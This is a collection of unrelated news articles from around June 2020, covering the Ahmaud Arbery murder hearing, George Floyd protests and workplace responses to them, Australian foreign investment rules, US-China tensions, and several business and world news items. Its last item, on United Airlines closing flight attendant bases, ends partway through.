William Bryan, a witness who helped the McMichaels corner Arbery and also filmed the fatal encounter, was arrested for felony murder and criminal attempt to commit false imprisonment.

In a probable cause hearing Thursday, a Georgia Bureau of Investigation special agent testified that Bryan said Travis McMichael said the words 'f---ing n-----" after Arbery was shot and killed.

Visit Insider's homepage for more stories.

Travis McMichael, one of the three people charged with killing Ahmaud Arbery, used a racist slur just after firing three shots from a pump-action shotgun, according to William Bryan, who filmed the encounter and is a co-defendant in the criminal case.

The detail was revealed by Georgia Bureau of Investigation Special Agent Richard Dial, who testified about various aspects of the case in a court hearing Thursday.

"Mr. Bryan said that after the shooting took place, before the police's arrival, while Mr. Arbery was on the ground, that he heard Travis McMichael make the statement: 'F---ing n-----," Dial said.

Magistrate Court Judge Wallace Harrell ruled that there is sufficient evidence for the cases against all three defendants to go to trial, according to the Associated Press.

"Ahmaud Arbery was chased, hunted down and ultimately executed at the hands of these men," said Cobb County prosecutor Jesse Evans. "He was on a run on a public road in a public subdivision. He was defenseless and unarmed."

Arbery went out for a jog in Brunswick, Georgia, around 1 p.m. on February 23, only to catch the attention of Gregory McMichael and Travis McMichael, who pursued the 25-year-old black man.

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They had help from Bryan, who also lived in the neighborhood, who joined in the hunt and filmed the deadly encounter.

Dial described how Travis McMichael and Bryan used their trucks to chase down and corner Arbery, who tried repeatedly to switch directions and even leaped into a ditch in a bid to escape.

Investigators found a palm print on the rear door of Bryan's truck, a dent, and white cotton fibers that "we attribute to contact with Mr. Arbery," Dial said.

Ahmaud Arbery

I RUN WITH MAUD/Facebook

'I don't think it was self-defense by Mr. McMichael  I think it was self-defense by Mr. Arbery.'

When Arbery wound up sandwiched between the two vehicles, Travis McMichael got out of his truck  which was parked to block a street in the Satilla Shores neighborhood  and confronted Arbery.

He told police that he opened fire in self-defense because Arbery ignored his orders to stop and get on the ground, and instead "squared up" as if he was going to attack. After seeing Travis McMichael standing by the driver's side door, Arbery skirted around and they met in front of the truck.

"There's a statement that he might have had his hand on his shirt," Dial said. "Travis McMichael said his adrenaline was pumping and it all happened very quickly."

That's when Travis McMichael opened fire.

The first shot was to Arbery's chest, the second was to his right wrist, and the third was also to his chest, Dial said. "Mere seconds after the first shot" was fired by Travis McMichael, the front of Arbery's white cotton T-shirt was "saturated with blood," he testified.

Dial also told Jason Sheffield, Travis McMichael's attorney, that the younger McMichael had raised his shotgun and pointed it Arbery's direction when the two were nearly 90 feet apart.

"I don't think it was self-defense by Mr. McMichael  I think it was self-defense by Mr. Arbery," said Dial.

He continued: "I believe Mr. Arbery was being pursued, and he ran till he couldn't run anymore, and it was [either] turn his back to a man with a shotgun or fight with his bare hands against the man with the shotgun. He chose to fight. I believe Mr. Arbery's decision was to just try to get away, and when he felt like he could not escape, he chose to fight."

After Arbery stumbled and fell facedown, Gregory McMichael rolled the man over to check if he was armed, a police report said. He wasn't.

Travis McMichael and Gregory McMichael, both wearing face masks, attended the hearing virtually from the Glynn County Detention Center. Bryan waived his right to appear.

And attorneys for the McMichaels insisted they are innocent.

"Travis has been vilified before his voice could even be heard," his legal team in a statement, CNN reported. "The truth in this case will exonerate Travis."

Gregory McMichael's attorney, Laura Hogue added: "So often the public accepts a narrative-driven by an incomplete set of facts, one that vilifies a good person.

Ahmaud Arbery's mother, Wanda Cooper-Jones (L) and sister, Jasmine Arbery, comfort one another at Sidney Lanier Park on May 9, 2020 in Brunswick, Georgia.

Sean Rayford/Getty Images

A 'gut feeling' that Ahmaud Arbery may have been responsible for prior break-ins

For more than two months after that deadly encounter between Arbery and the McMichaels, the white father-and-son duo  aged 64 and 34 respectively  roamed free. Two district attorneys recused themselves over conflicts of interest, with one telling police that there were "no grounds for an arrest."

Video of the altercation that ended Arbery's life emerged on social media on May 5, sparking outrage, protests, and calls for justice.

The Georgia Bureau of Investigation took over the case on May 5. Agents arrested the McMichaels on May 7 and Director Vic Reynolds announced on May 8 that there was "sufficient probable cause" to charge the pair with felony murder and aggravated assault. They were booked into Glynn County Jail and denied bond.

Bryan, 50, was arrested on May 21 for felony murder and criminal attempt to commit false imprisonment, the GBI said in a statement. He saw the McMichaels when they passed his house while chasing Arbery  they told police they thought he resembled a burglary suspect  so he got into his car and helped corner Arbery.

Dial spoke about a phone call made to Gregory McMichael when he was in custody that shed light on the way he views Bryan.

"Gregory McMichael is on the phone with a caller and the caller asks him about Mr. Bryan," Dial said. "At first, Mr. McMichael says he can't talk about it and then he says that Mr. Bryan is an ally."

Dial testified also that Arbery enjoyed running. Gregory McMichael was working on a boat outside the McMichael residence when he saw Arbery jog by. Recognizing him from surveillance footage of a house that's under construction nearby, the elder McMichael followed his "instinct" when enlisting his son to follow Arbery through their neighborhood, Dial said.

A crowd gathered to honor Ahmaud Arbery at Sidney Lanier Park on May 9, 2020 in Brunswick, Georgia.

Sean Rayford/Getty Images

Gregory McMichael told police that "he didn't know if Mr. Arbery had stolen anything or not, but he had a gut feeling that he may have been responsible" for recent burglaries in the neighborhood, Dial added.

Dial also testified that investigators found a Confederate sticker on a toolbox in Travis McMichael's truck. Reviewing his cell phone data and social media footprint led them to even more racial slurs.

In one case, he responded to a social media video saying, "That would've only been better if he had blown that f---ing n-----'s head off," Dial said. Also, Travis McMichael, who worked as a boarding officer with the US Coast Guard, said in texts that "he loved his job because he was out on a boat and there were no n-----s anywhere," he testified.

Georgia doesn't have a hate crime law. The U.S. Department of Justice said on May 11 that it is "assessing all the evidence to determine whether federal hate crime charges are appropriate." Dial's testimony could play a part in a federal investigation into whether hate crime charges should be leveled against the defendants.

Arbery's death sparked peaceful protests in Georgia, which were followed by the March shooting death of Breonna Taylor in Kentucky. But George Floyd's police killing on May 25 in Minneapolis escalated racial tensions to a fever pitch. Since then, demonstrations, often devolving into chaos, vandalism, arson, and looting, have erupted from coast to coast in the United States. Thousands around the world are protesting in solidarity with the Black Lives Matter movement.

Prominent civil rights attorney Ben Crump is on the legal team for both the Arbery and Floyd families.

A crowd gathered outside the courthouse in Brunswick on Thursday, and stood in the rain, chanting "No bond." Gov. Brian Kemp has promised a "strong state law enforcement presence" during the hearing, the Associated Press reported.

This article has been updated.

Read the original article on Insider
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A 12th century Italian village that was submerged beneath the surface of a lake could be about to reemerge for the first time in 26 years.

Fabbriche di Careggine, in Tuscany, sits underneath the waters of Lake Vagli - an artificial lake that was created in 1946 after the construction of a nearby dam.

The ruined village - complete with houses, a bridge and a church - only emerges when the lake is drained so that maintenance can be carried out on the dam, with the last time it happened being in 1994.

Fabbriche di Careggine, in Tuscany (pictured), was built in the 12th century but submerged in 1946 after the area was flooded to build a nearby dam - creating Lake Vagli in the process

The town - complete with houses, a bridge and a church - now only reveals itself when the lake is drained in order to repai the dam, with the last occasion coming in 1994

Lorenza Giorgi, daughter of the mayor who last drained the lake, now claims that 'sources' have told her the lake will be drained again next year and that people will be allowed to visit

But Lorenza Giorgi, daughter of former mayor Ilio Domenico Giorgi who was in office the last time the lake was lowered, now claims to have learned from 'reliable sources' that it will happen again next year.

The move could help to restart tourism, which has been hard-hit by coronavirus lockdowns in Europe, because the site can be visited once the waters have gone.

A million people are said to have visited the town the last time the lake was drained. It has happened only three times before that: In 1958, 1974 and 1983.

Writing on Facebook, Giorgi said: 'I inform you that from certain sources I know that next year, in 2021, Lake Vagli will be emptied.

'The last time it was emptied in 1994 when my father was mayor. Thanks to his commitment and to many initiatives [we] managed to welcome more than a million people in one summer.

'I hope that next year, with the past experience of which everyone has a beautiful memory and with the help of social networks, we will be able to repeat and overcome the great success.

'I'll keep you posted when I know the exact dates.'

According to her social media profile, Giorgi was born in Vagli di Sotto, the village where residents of Fabbriche were moved after their homes were submerged.

Those homes now sit underneath 34million cubic meters of water which is used to power the surrounding towns.

ENEL, the company which owns the dam, has yet to comment on plans to drain the lake.

The last time Fabbriche di Careggine was revealed in its entirety it was turned into a tourist destination, attracting 1million visitors before the lake was refilled (pictured)

The Vagli dam, located at one end of the artificial lake, provides power for nearby homes and cities
Colombo, June 5 : There was no decision yet to impose an islandwide curfew due to the COVID-19 pandemic in Sri Lanka on Sunday after the one declared earlier this week will be relaxed on Saturday, a senior official from the President's Office said.

"The islandwide curfew will be relaxed on Saturday morning as earlier announced and there is no decision as yet to impose a nationwide curfew this weekend," the official told the Daily Mirror newspaper on Thursday.

"Discussions on this matter have not been held. Further, there has been no discussion as yet to lift the curfew completely from next week." Sri Lanka relaxed a curfew in Colombo and Gampaha from May 26 but since then has been imposing a nationwide curfew on Sunday to prevent public gatherings.

This weekend will be the first since May 26 that a nationwide curfew will not be imposed on Sunday.

Sri Lanka has so far reported 1,797 COVID-19 cases, with 11 deaths.
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The Africa Participatory Governance Forum (APGF) wishes to express its profound concern, its utmost outrage and unreservedly condemns the atrocious death of George Floyd in the United States of America (USA). This racist and obnoxious crime is an absolute denial of humanity, of dignity, of justice and thoughtfully calls on all peace and justice loving Africans.

In fact, on May 25, 2020, George Floyd died in Minneapolis, Minnesota- USA after Derek Chauvin, a white police officer, pressed his knee to Floyd's neck for almost nine minutes. The angers, indignation manifestations and the revolts that this racist and criminal act provokes through the world clearly demonstrate, ad nauseam, a profound and salutary planetary rejection. The African continent must be at the forefront in the fight against racial hatred which is based on the negative characterization of black race which had justified slavery and colonialism. The recurrence of the assassination of blacks in USA is a continuation of a long denial of their humanity.

As the rest of humanity, the sons and daughters of African continent, its political leadership and its civil society, its intellectuals and artists must arise to say no to racial hatred, express their active solidarity with the African-Americans and call for justice for George Floyd. Africa is not unworkable. It is, just, at its beginning. Its leaders who have renounced to fight are the ones who are finished. The struggle against racism is a struggle for human survival and dignity for the black as well the white. It is a mind battle. It is civilization battle.

APGF invites solemnly African heads of states to assume totally the leadership mantle that fight against racism as their predecessors strongly opposed to colonialism and apartheid.

Down with racism!

S. DRAME

Executive Director

Email:[email protected]/ Mobile : 0244673729
Protests over the murder of George Floyd show no signs of slowing down, and at work this week, most bosses found themselves in the position of addressing the unrest. For black leaders, our countrys legacy of racism is painfully familiar, so most can talk fluently about their experiences of oppression. Some may welcome the opportunity to speak right now, but many will find the prospect of educating their white counterparts exhausting. Be aware that it's an emotionally tumultuous time for communities of color.

As for white leaders, some might have already begun their educational journey  perhaps implementing diversity initiatives at their companies  but most are realizing they still have a long way to go. Still other white leaders are comprehending that theyre very much at the starting point. Leaders may be grappling with how to make their employees of color feel supported, or with the fact that they have very few black employees or employees of color at all. Generally, they might be struggling to find language to address all the pain, confusion and anger, and with how to begin making genuine change within their own businesses, as well as the larger business community.

Understanding race and race equity is a process, says Lisa Brown Alexander, president and CEO of Nonprofit HR. Most people are socialized around certain beliefs and perceptions, and it's not easy to unpack those overnight. So admitting that you're at the beginning is the first step. Admitting you don't know something is hard, but the kind of tenacity that you need to build your business is the same kind of tenacity you need for understanding race and race equity in today's climate.

We spoke to a number of diversity and inclusion experts about how business leaders and managers should think about handling the issue of racism in the current moment and as we move forward.

Whatever you do, be authentic

Whether youre a white or black leader, the thing people are looking for right now is real, unguarded reflection. I think now is such a time for leaders to be authentic, says Connie Evans, president and CEO of the Association for Enterprise Opportunity. In speaking weekly to my own team, I've tried to be authentic in expressing my own fear and outrage, my personal fear as a black woman, and just sharing my thoughts on whats happening.

Rumina Morris, a diversity, equity and inclusion expert, agrees this is certainly true for white leaders as well. The most important thing is to come from a place of authentic leadership, she says. The heroes are the ones who ask, What can I do? How can I help? Tell me more. The ones who ask, How are you? How are you coping? The ones who believe the stories and pain of black people. They grow into the idea that an inclusive workplace just makes good business sense. Employees experience better job satisfaction, and employers get better employee retention. The fear of messing this up should not stop leaders from taking a stab at it. A messy conversation is better than the deafening sound of silence.

Related: Here's How Business Leaders Are Responding to the George Floyd Protests

Address the larger context of the current moment

First and foremost, says Dr. Donathan Brown, an expert in race and public policy at the Rochester Institute of Technology, business leaders must understand, contextualize and articulate the current crisis for what it is: an ongoing and longstanding pandemic that continues, like COVID-19, to leave a devastating death toll across communities of color throughout the United States. Whether it is unequal access to quality health care, police brutality  jogging, birding, driving or simply existing while black, business leaders must set the tone within the context that aptly captures the tensions at hand.

Dont shrink away from the conversation because youre out of your depth

Too many business leaders are unsure about how to talk to their employees about racism, and that fear and concern is often what underlies their inaction, says Morris. Leaders are supposed to lead and to model for their subordinates how to navigate challenging situations and conversations with confidence and skill. But when it comes to racism, leaders can very quickly realize that they are out of their depth. Lets face it: Most leaders are white. Race-based discussions are not typically part of their dinner conversations. They dont have to be  at least not the types of conversations about pain and intergenerational trauma that black communities endure regularly. The discomfort results in many business leaders avoiding the discussion altogether. 

Diversity initiatives are not a substitute for doing the work yourself

Some leaders can acknowledge they are inept in the topic of racism and will turn to experts on the subject of diversity and inclusion, Morris says. They may bring on a consultant to engage with their employees across diverse lines. Some will even create a diversity and inclusion position in their organization to advance racial and cultural dynamics in their workplace. But the true leaders, the ones who really stand out above the rest, are the ones who are curious and want to understand. They are the few who are ready to acknowledge their own power and privilege. They show humility in their ignorance and grace in their listening. They ask questions, they ask for help, and they are not afraid to get it wrong. Leaders, especially those from dominant groups, must be able to talk to their employees about racism. Being color blind only ever served white people.

Dont put the onus on your black employees to explain racism

It is never the job of black people to educate white people on the inequalities, discrimination and daily struggles they face, says Lillian Humphrey, director of cultural diversity and inclusion at Power Home Remodeling. More generally, it should never be a marginalized groups responsibility to teach the majority. The majority should be self-educating first and foremost. As an organization, it is important for those within leadership roles to use their power and influence to take a stand, make a statement and support the sentiments of their black employees. As a result, if non-black employees begin to see what their leadership is doing, this will hopefully have a domino effect.

But make it clear to black employees  and other black entrepreneurs  that youre here and ready to listen

There is an important role for black staff to play in small and enterprising organizations, says Brown Alexander. Their voices are important, so don't assume that talking with them about this issue is going to be a burden. Some may find it burdensome to educate their organizations, but others will be relieved that you took the time to ask. I would start with listening and learning and giving people a safe space to talk. Reach out to say, I am sorry. I am here. Let me know if you need time off. And then you might get into either a facilitated conversation or some sort of survey to gather the perspectives of the staff in a safe way. My staff is about 50 percent black, and I'm having a private meeting with my black staff where they can express concerns, frustrations and experiences in a way that feels safe. And then I'm bringing together my entire staff.

The same goes for listening to other leaders of color. I think there's an opportunity for entrepreneurs to look at their entrepreneur community and assess whether its diverse or homogeneous, Brown Alexander says. Use this as a learning moment to hear from black entrepreneurs about their experience. African American business owners have likely had challenging experiences at some level or another either with their product development, their business development, obtaining financing, maybe influencing clients or prospects. Most can talk fluently on those issues.

Related: Black-Owned Restaurants and Businesses You Can Support Right Now

Put in place safe avenues for people of color to give honest feedback about their experiences

At Power Home Remodeling, Humphrey says, Weve hosted a series of initiatives and Woke-ish sessions, which are educational meetings dedicated to encouraging employees to have difficult conversations around racial topics that might be uncomfortable to discuss. These sessions also create a safe space where both black and non-black employees feel they have a place to speak their mind and better understand the black experience.

Bernard Boudreaux is the deputy director of Georgetowns Business for Impact program, and he worked for Target Corporation for over 30 years in various corporate responsibility roles. He says asking the following questions (in a safe, maybe anonymous survey format) will offer valuable insight to companies trying to understand their own workplace cultures.

Here are the questions he suggests:

1. Ask your employees what the company could do better to address racism in the workplace, in the local community and in the USA.

2. Ask your employees what experiences they have had within the company, if any, that made them feel that race was a factor.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

3. Ask your employees if they feel leadership within the company  however leadership is defined  has exhibited racist behaviors. If so, how?

4. Ask your employees if there are any business practices  HR, operations, philanthropic, logistical, etc.  the company does that they think contributes to or enforces racist behavior or attitudes.

5. Ask your employees if they think discussing race is a safe topic at work.

Be sensitive to the fact that your employees of color may not feel comfortable discussing race with you

Dont assume that your employees feel safe or want to discuss race with you, says Boudreaux. And dont ask employees questions about race, or any sensitive topic, when their supervisor is around. This is about workplace culture. Some  many  employees need their job, and they just want to get to work, do the job, collect their paycheck and get home safely. They dont have the luxury of expressing their feelings and perhaps getting fired for it. Know your workplace culture! Make sure your employees are comfortable discussing race before even going down that path. Just take a second and think about a few predominantly male, predominantly white workplace environments and then ask yourself if you think the 10 percent of black and brown employees feel safe discussing race.

Dont talk the talk if you havent been walking the walk

There is something that feels very wrong about an organization that has never before spoken internally or externally about black issues and the black experience, yet now all of a sudden wants to make it seem as though they are and have been supportive, says Humphrey.

With many companies beginning to post on social media how they are in support of the #BlackLivesMatter movement, its created a ripple effect where many companies are jumping on the bandwagon to make a statement, Humphrey continues. For some, the intention is perceived as genuine, and for others, it can be seen simply as a marketing ploy. When sharing company messaging and making posts around the racial climate, it is crucial to ask yourself two questions: What is my actual goal in communicating this? And How do I plan to continue communicating on this topic? If you want to appear to be doing the right thing solely to preserve your reputation, your communication tactics will fail because you are neither speaking from the heart nor with purpose. And unfortunately, your black employees will see right through it and not only feel a lack of support but also feel disrespected.

Recognize if youre part of the problem and make a plan to fix it

Many organizations dont realize that they might be part of the problem, Humphrey says. If you are a part of a company that still has a race wage gap, youre part of the problem. If you are not providing equal access to leadership opportunities to your black employees, or you are placing a focus on attracting diverse talent but arent putting in the work to retain that same talent, you are part of the problem. If you are part of an organization that has not been properly and consistently involved in supporting the black community, it is important to be transparent in your efforts or lack thereof. Acknowledge that you are part of the problem but are working to change that and have a plan put in place to do so. And follow through with that plan  not for the next few months, or years, but for a lifetime.

Related: It Doesn't Take a Rocket Scientist to Solve the Racism Problem in Business

Related:

How Should You Be Talking With Employees About Racism?

Here's How Business Leaders Are Responding to the George Floyd Protests

Flexible Workspace Providers Elevate Operations To Win Workforce Post COVID-19



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Australian Prime Minister Scott Morrison speaks next to his deputy Josh Frydenberg during a news conference in Canberra, Australia, on Aug. 24, 2018. (Reuters/David Gray)

Australia Introduces Significant Change to Foreign Investment Laws Amid Concerns Over Chinese Ownership

The new laws close existing loopholes around sensitive industries

Prime Minister Scott Morrison and Treasurer Josh Frydenberg announced the most significant change to the foreign investment law since its introduction in 1975, giving the treasurer greater authority to scrutinise foreign bids, amidst growing concerns surrounding Chinese investment in Australian assets.

Morrison and Frydenberg made the formal announcement on the morning of June 5 saying the reforms are in response to evolving technology and a more complicated geopolitical climate.

The world over, governments are seeing foreign investment being used for strategic objectives, and not purely commercial ones, Frydenberg said.

Australias New National Security Test

The treasurer announced a new national security test that will apply to foreign companies investing in a sensitive national security business.

The definition of a sensitive national security business is not finalised, however Frydenberg did say it would cover businesses in telecommunications; defence; defence supply chains; data storage; as well as businesses falling under the Security of Critical Infrastructure Act 2018, which covers utilities such as energy, water, ports, and gas etc.

Related Coverage Chinese State-Owned Companies Own More Australian Water than Sydney Harbour Holds

For foreign investment in businesses that dont fall within the definition of sensitive national security business, the treasurer will have the discretion to call-in the investment if its deemed a national security risk. It will then come under review from the Foreign Investment Review Board (FIRB). The power can be invoked before, during, or after an investment has been approved.

A last resort power will be available to the treasurer to vary or impose conditions on a completed foreign investment. Only in exceptional circumstances can the treasurer force a company to divest its interest.

Frydenberg stated this power would only be used if there was a material misstatement at the time of an application, or where the activities of the acquired business change substantially and create national security risks.

Botany port in Sydney, Australia, April 16, 2020. (SAEED KHAN/AFP via Getty Images)

The FIRB will also receive additional resources to strengthen compliance and issue penalties. The approval process will be sped up with Frydenberg saying, Australia has an enviable track record when it comes to welcoming foreign investment from around the world. These reforms will not change that.

David Irvine, Chair of the FIRB, said the package appropriately addresses increasing risks to the national interest, whilst ensuring Australia remains welcoming and open to foreign investment.

According to the prime minister, the National Cabinet has endorsed the laws.

A draft will be completed in July, and the government is hoping to implement the laws by Jan. 1, 2021.

Closing Loopholes in Current Foreign Investment Scheme

The new laws will follow in the stead of temporary restrictions introduced by the government on March 29 at the height of concerns over Australian assets being bought by foreign entities during the pandemic.

Currently, private foreign investments under $275 million are not screened by the FIRB, while investments from countries with free trade agreements with Australia are subject to a higher threshold at $1.2 billion. Countries that fall into this category include China and Japan.

Australian farmer Kevin Tongue herding sheep at his property near the rural city of Tamworth, 450 kilometres north-west of Sydney on May 4, 2020 . (Peter Parks/AFP via Getty Images)

The new national security test will have no threshold, covering a wider array of foreign investment bids, particularly small to medium-sized businesses in specialised industries such as rare earth mining.

Currently, mining firms are not subject to scrutiny from FIRB if a foreign entity acquires an interest less than 10 percent of the companys value.

However, under the expanded definition of a sensitive national security business, such investments may need approval in the future.

On May 18, a Chinese rare earth mining firm was able to acquire an interest in a Perth-based miner by adjusting its proposed stake from 11.77 percent to 9 percent.

Related Coverage Blocked Chinese Mining Firm Manoeuvres for Second Chance at Australian Rare Earth

A few weeks earlier on April 24, the Chinese firm Yibin Tianyi, was advised by FIRB that its initial bid would be blocked because it was contrary to the national interest and contrary to the national interest of growing Australias critical minerals sector.

Australia has a national security-related interest in developing rare earth supply chains independent of Chinese ownership and has been working closely with the United States to do so.

Laws Are Not Beijing-Specific

Home Affairs Minister Peter Dutton has denied the move was targeting Beijing.

Its not country-specific. Were looking at lots of examples at the moment, he told the Nine Network on June 5.

Dutton said Australia faces more foreign interference than weve seen in decades.

We want to make sure that we put our national interests ahead of anything else.

He also said the changes would protect health and tax information stored on data servers.

We need to make sure that we can monitor and exclude some people from ownership if we believe that data or information on our national security is going to be compromised, he said.
Donald Trump moved overnight to place more fencing barricades on the White House perimeter amid nationwide protests and racial tensions.

New black metal walls were secured along the west and south perimeters on Thursday, providing president Trump with an extensive security zone around the White House.

The decision to close more avenues and parks around the complex comes despite demonstrations against institutionalised racism having been peaceful since Monday.

Some 8-foot barricades were already positioned on the north White House perimeter on Monday, when police cleared protesters from Lafayette Square using tear gas so Mr Trump could stage a photo outside St. Johns Episcopal Church.

Workers were seen on Thursday morning erecting walled fencing around the Eisenhower Executive Office Building entrance on 17th Street NW.

Workers then installed more walls around the Ellipse, on the White Houses southern perimeter, on Thursday afternoon, which sealed off the 52 acre park area dubbed the Nations front yard.

Reporters and Washington DC locals captured the fencing being erected in pictures that were shared, and condemned, online.

I hope Bidens first priority is to take down that f***ing fence around the peoples house, wrote American author Stephen King on Thursday night.

District of Columbia Mayor Muriel Bowser, meanwhile voiced concern that the Trump administration would make the barriers beyond the White House perimeter permanent.

Keep in mind thats the peoples house, said Ms Bowser on Thursday. Its a sad commentary that the [White] House and its inhabitants have to be walled off.

Others condemned the developments on the basis that Mr Trump wanted to build walls around Americans own border, but he instead has built walls around the White House.

American taxpayers, not Mexico, will again be sent the bill, added Democratic senator Patrick Leahy.
Cameroon's military says journalist died in its custody: Cameroon's military said a journalist who disappeared in August in a part of the country where it is battling Anglophone separatists died in its custody weeks after he was arrested, but denied that he was tortured. The statement was the first public acknowledgment by authorities of the death of Samuel Ebuwe Ajiekia, also known as Samuel Wazizi, who worked as a radio and TV anchor in the Southwest Region. The head of Cameroon's journalists union said members last saw a healthy Wazizi in early August after he was arrested by the police, and were then told a few days later that he had been placed in military custody.
Venture capitalist Bradley Tusk is calling for an end to Section 230, the portion of the Communications Decency Act that President Trump is currently waging a war on amid an ongoing spat with Twitter (TWTR) and Snapchat (SNAP).

According to Tusk, who heads up Tusk Holdings and Tusk Ventures, which has investments in the likes of FanDuel and Lemonade, repealing Section 230 would open up the web for new competitors that could better compete with the current crop of current social media giants.

If that were removed  and what's interesting is that both Trump and Biden support removing that protection I think in a way it would really allow new social networking startups to come about, to innovate, Tusk told Yahoo Finances The First Trade.

The battle for the internet

The spat between Trump and Twitter began May 26 when Trump tweeted that mail-in ballots would lead to widespread voter fraud. Twitter added a fact-check mark to the tweet pointing to numerous articles showing that the allegation was false and explained why the company took the move.

Enraged by Twitters decision, May 27, Trump issued an executive order calling for changes to Section 230, which protects internet sites from being held liable for content posted by users. The law has been described as the 26 words that created the internet and is a foundational part of the modern web. Its why companies ranging from Google and Facebook to Twitter and Amazon and even small blogs are able to operate on the web.

SAN FRANCISCO, CALIFORNIA - OCTOBER 03: Tusk Ventures Founder & CEO Bradley Tusk speaks onstage during TechCrunch Disrupt San Francisco 2019 at Moscone Convention Center on October 03, 2019 in San Francisco, California. (Photo by Steve Jennings/Getty Images for TechCrunch)

The following day, after early protests over George Floyds death at the hands of Minneapolis police lead to sporadic rioting and looting, Trump posted a tweet that read, in part, When the looting starts, the shooting starts.

Twitter then took the unprecedented step of hiding Trumps tweet behind a banner explaining that it violated the companys terms of service for glorifying violence.

Snapchat similarly moved to limit Trumps reach on the platform by removing him from the apps Discover section. Facebook (FB), under the order of CEO Mark Zuckerberg, however, chose to let Trumps violent comments stand despite significant pushback from current and former employees.

Story continues

All of this has led to a renewed debate about the fate of Section 230, which former-Vice President Joe Biden has also said needs to be revoked.

For his part, Tusk, who has worked as a political strategist for companies such as Uber and served at the communications director for Senator Chuck Schumer (D-NY), campaign manager for Michael Bloombergs mayoral bid in NYC, and as deputy governor of Illinois, doesnt believe Section 230 will impact the upcoming presidential election.

It's a pretty obscure topic. But as a venture capitalist, I actually would like section 230 repealed, Tusk said.

But if they have to do more than give a quick dopamine hit, provide a better value proposition to the customers, I think there's room for a lot more innovation in the space. So I would love to see Section 230 repealed.

Whether Trumps executive order holds any weight remains to be seen. Its already drawn at least one lawsuit from the Center for Democracy and Technology, claiming that it violates the First Amendment.

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China is using domestic problems in the United States to show the Trump administration in a bad light and depict its strategic adversary as unfair and racist. Meanwhile, tensions are running high as a US warship sails the Taiwan Strait and China carries out military exercises in the same area. A group of 18 Western lawmakers want stronger actions against Beijing as Southeast Asian countries distance themselves from China.

Hong Kong (AsiaNews)  China has gone on the counterattack and is exploiting anti-racism protests in the United States to criticise the Trump administration. However, its attempt to take advantage of the internal problems of the United States and appear as a responsible global power does not seem to be reaping expected benefits.

Washington has taken the lead in an international front against Chinas repression of Hong Kongs pro-democracy movement; at the same time, more and more countries in Asia are beginning to challenge Chinese hegemonic pretentions.

For Chinese leaders, the US government applies a double standard over the riots that broke out following the death of George Floyd, an African-American man killed in Minneapolis.

Chinese diplomats, media and Internet users accuse Trump of criticising Hong Kong police for cracking down on what they consider illegal protests whilst allowing police brutality against demonstrations that are currently shaking the United States.

In doing so, China is trying to get even with the United States by depicting its strategic adversary as an unfair and racist country.

The ongoing confrontation, which began in 2016, when Trump came to power, has seen the two superpowers angrily face off each other.

From trade to technology, from the fight against the coronavirus to territorial disputes in the South China Sea and the status of Taiwan, Washington and Beijing are at loggerheads with tensions running high.

Yesterday, for the seventh time since the start of the year, a US warship sailed through the Taiwan Strait. The transit by the Arleigh Burke-class guided-missile destroyer USS Russell took place on the 31st anniversary of the Tiananmen Square crackdown, when thousands of Chinese students were killed for demanding democracy and freedom in China.

For its part, China is currently conducting exercises in the area, with amphibious landing operations in a rehearsal of a possible invasion of Taiwan.

In condemning Chinas national security law in Hong Kong, the US has garnered support from Great Britain, Canada, Australia and Taiwan.

The European Union has also criticised Chinas new legislation, but has distanced itself from Trump's decision to put economic and financial pressure on China.

Meanwhile, to curb China's geopolitical aims, about 18 Western lawmakers have set up a transnational group from the United States, Europe, Australia, Canada and Japan to plan actions against Beijings growing strength.

In Asia itself, some countries are also increasingly concerned about Chinas activism. In an op-ed in Foreign Affairs, Singapore Prime Minister Lee Hsien Loong notes that the US presence in the Asia-Pacific region is vital, and that China will not be able to weaken the US in Southeast Asia.

In doing so, Lee is following in the footsteps of his predecessor and father, the late Lee Kwan Yew, prime minister and founder of the city-state, who insisted that China's power must be counterbalanced and that only the US could do so.

In another reversal for China, the Philippines on Wednesday scrapped its earlier decision to end a 20-year military deal with the United States. Together with Vietnam, Malaysia, Brunei, Taiwan, the Philippines is opposed to Chinas territorial claims in the South China Sea.

Indonesia, which has tried to steer clear of any row with China in regional disputes, has also taken a stand against Beijing. In an official note sent to the United Nations in late May, Jakarta takes the view that Chinas Nine-Dash line, that is its historic demarcation in the sea, has no legal basis and violates the UN Convention on the law of the sea.
The interest in Jio Platforms highlights its potential to become the dominant player in Indias digital economy

Reliance Industries Ltd said on Friday that Abu Dhabi state fund Mubadala Investment Co will buy a 1.85% stake in its digital unit. (PTI Photo)

New Delhi: Abu Dhabi-based sovereign investor Mubadala Investment Company will buy 1.85 per cent stake in Jio Platforms for Rs 9,093.6 crore, RIL said on Friday.

With this investment, Jio Platforms has raised Rs 87,655.35 crore from leading global technology and growth investors, including Facebook, Silver Lake, Vista Equity Partners, General Atlantic, KKR and Mubadala, in less than six weeks.

The investment from Mubadala comes in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore.

"Mubadala Investment Company (Mubadala) will invest Rs 9,093.60 crore in Jio Platforms at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore. Mubadala's investment will translate into a 1.85 per cent equity stake in Jio Platforms on a fully diluted basis," RIL said in a statement.

RIL subsidiary Jio Platforms is a next-generation technology platform focused on providing high-quality and affordable digital services across India, with more than 388 million subscribers. The telecom services arm Reliance Jio comes under Jio Platforms.

"Through my longstanding ties with Abu Dhabi, I have personally seen the impact of Mubadala's work in diversifying and globally connecting the UAE's knowledge-based economy. We look forward to benefitting from Mubadala's experience and insights from supporting growth journeys across the world," RIL chairman and managing director Mukesh Ambani said.

Mubadala owns electronic chip manufacturing company Global Foundries and has stake in several technology companies like AMD.

It has an investment portfolio across several fields, including petroleum, renewable energy, aerospace, satellite communications, agriculture, healthcare, metals and mining.

"We have seen how Jio has already transformed communications and connectivity in India, and as an investor and partner, we are committed to supporting India's digital growth journey. With Jio's network of investors and partners, we believe that the platform company will further the development of the digital economy," Mubadala Investment Company managing director and Group CEO Khaldoon Al Mubarak said.

Mubadala established its ventures arm in 2017 to partner early with visionary founders and support innovative businesses. Mubadala's Ventures business currently manages several venture funds in the US, Europe and Middle East.
A Boeing 777-222(ER) passenger plane belonging to the United Airlines taking off at Hong Kong International Airport on August 08 2018 in Hong Kong, Hong Kong.

United Airlines plans to close three of its four foreign flight attendant bases in October as international air travel continues to struggle because of the coronavirus pandemic.

The Chicago-based airline will close bases in Hong Kong, Tokyo's Narita airport and Frankfurt, according to a company memo seen by CNBC. United said about 840 flight attendants work in the three bases that are closing.

